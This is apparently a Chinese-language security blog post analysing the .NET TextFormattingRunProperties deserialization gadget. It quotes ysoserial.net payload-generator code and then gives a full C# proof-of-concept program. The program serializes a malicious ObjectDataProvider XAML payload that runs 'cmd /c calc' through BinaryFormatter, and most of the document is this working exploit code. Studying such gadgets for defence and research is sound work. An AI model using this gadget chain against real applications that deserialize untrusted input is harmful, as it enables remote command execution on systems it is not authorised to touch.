TextFormattingRunProperties 利用鏈

分析

反序列化時會自動調用與GetObjectData函數同樣參數的構造函數。所以會走到這裏。

img

TextFormattingRunProperties實現ISerializable接口,在其序列化的構造函數中,進行this.GetObjectFromSerializationInfo("ForegroundBrush", info)

img

GetObjectFromSerializationInfo會從info裏面獲取ForegroundBrush的值,然後

調用XamlReader.Parse(payload)解析獲取到的值。

使用XamlReader.Parse(payload)結合前面的ObjectDataProvider的xaml_payload串聯進行買了執行。可以來看看yso裏面是怎麼生存ObjectDataProvider的payload的

        public static object TextFormattingRunPropertiesGadget(InputArgs inputArgs)
        {
            ObjectDataProviderGenerator myObjectDataProviderGenerator = new ObjectDataProviderGenerator();
            string xaml_payload = myObjectDataProviderGenerator.GenerateWithNoTest("xaml", inputArgs).ToString();

            if (inputArgs.Minify)
            {
                xaml_payload = XmlHelper.Minify(xaml_payload, null, null);
            }

            TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal(xaml_payload);
            return payload;
        }
    } 
}


//生成
public override object Generate(string formatter, InputArgs inputArgs)
        {
            // NOTE: What is Xaml2? Xaml2 uses ResourceDictionary in addition to just using ObjectDataProvider as in Xaml
            if (formatter.ToLower().Equals("xaml"))
            {
                ProcessStartInfo psi = new ProcessStartInfo();

                psi.FileName = inputArgs.CmdFileName;
                if (inputArgs.HasArguments)
                {
                    psi.Arguments = inputArgs.CmdArguments;
                }

                StringDictionary dict = new StringDictionary();
                psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
                Process p = new Process();
                p.StartInfo = psi;
                ObjectDataProvider odp = new ObjectDataProvider();
                odp.MethodName = "Start";
                odp.IsInitialLoadEnabled = false;
                odp.ObjectInstance = p;

                string payload = "";

                if (variant_number == 2)
                {
                    ResourceDictionary myResourceDictionary = new ResourceDictionary();
                    myResourceDictionary.Add("", odp);
                    // XAML serializer can also be exploited!
                    payload = SerializersHelper.Xaml_serialize(myResourceDictionary);

                }

將構造的惡意的ObjectDataProvider類實例化對象添加到ResourceDictionary對象中然後進行System.Windows.Markup.XamlWriter.Save進行序列化。

最終的payload

using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using Microsoft.VisualStudio.Text.Formatting;
namespace BinaryFormatterSerialize
{
    [Serializable]
    public class TextFormattingRunPropertiesMarshal : ISerializable
    {
        protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
        {
        }

        string _xaml;
        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            Type typeTFRP = typeof(TextFormattingRunProperties);
            info.SetType(typeTFRP);
            info.AddValue("ForegroundBrush", _xaml);
        }
        public TextFormattingRunPropertiesMarshal(string xaml)
        {
            _xaml = xaml;
        }
    }
    class Program
    {
        static void Main(string[] args)
        {
            //string xaml_payload = File.ReadAllText(@"C:\Users\sangfor\Desktop\ysoserial.net-master\ysoserial.net-master\TestConsoleApp\1.xml");

            string payloadxml = "<?xml version=\"1.0\" encoding=\"utf-16\"?>\r\n<ObjectDataProvider MethodName=\"Start\" IsInitialLoadEnabled=\"False\" xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" xmlns:sd=\"clr-namespace:System.Diagnostics;assembly=System\" xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\">\r\n  <ObjectDataProvider.ObjectInstance>\r\n    <sd:Process>\r\n      <sd:Process.StartInfo>\r\n        <sd:ProcessStartInfo Arguments=\"/c calc\" StandardErrorEncoding=\"{x:Null}\" StandardOutputEncoding=\"{x:Null}\" UserName=\"\" Password=\"{x:Null}\" Domain=\"\" LoadUserProfile=\"False\" FileName=\"cmd\" />\r\n      </sd:Process.StartInfo>\r\n    </sd:Process>\r\n  </ObjectDataProvider.ObjectInstance>\r\n</ObjectDataProvider>";

            TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal(payloadxml);
            MemoryStream memoryStream = new MemoryStream();
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            binaryFormatter.Serialize(memoryStream, payload);
            memoryStream.Position = 0;
            binaryFormatter.Deserialize(memoryStream);
          
            Console.ReadKey();
        }
    }
}

整體流程如下:

序列化:自己編寫個類繼承ISerializable,重寫GetObjectData方法,給ForegroundBrush字段賦值爲xaml的payload,並且將對象類型賦值爲TextFormattingRunProperties

反序列化:在反序列化時觸發反序列化構造函數GetObjectFromSerializationInfo-> 獲取設置的ForegroundBrush的值,調用XamlReader.Parse(payload)進行命令執行

參考

https://www.freebuf.com/articles/network/351317.html

https://github.com/Y4er/dotnet-deserialization/blob/main/BinaryFormatter.md

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章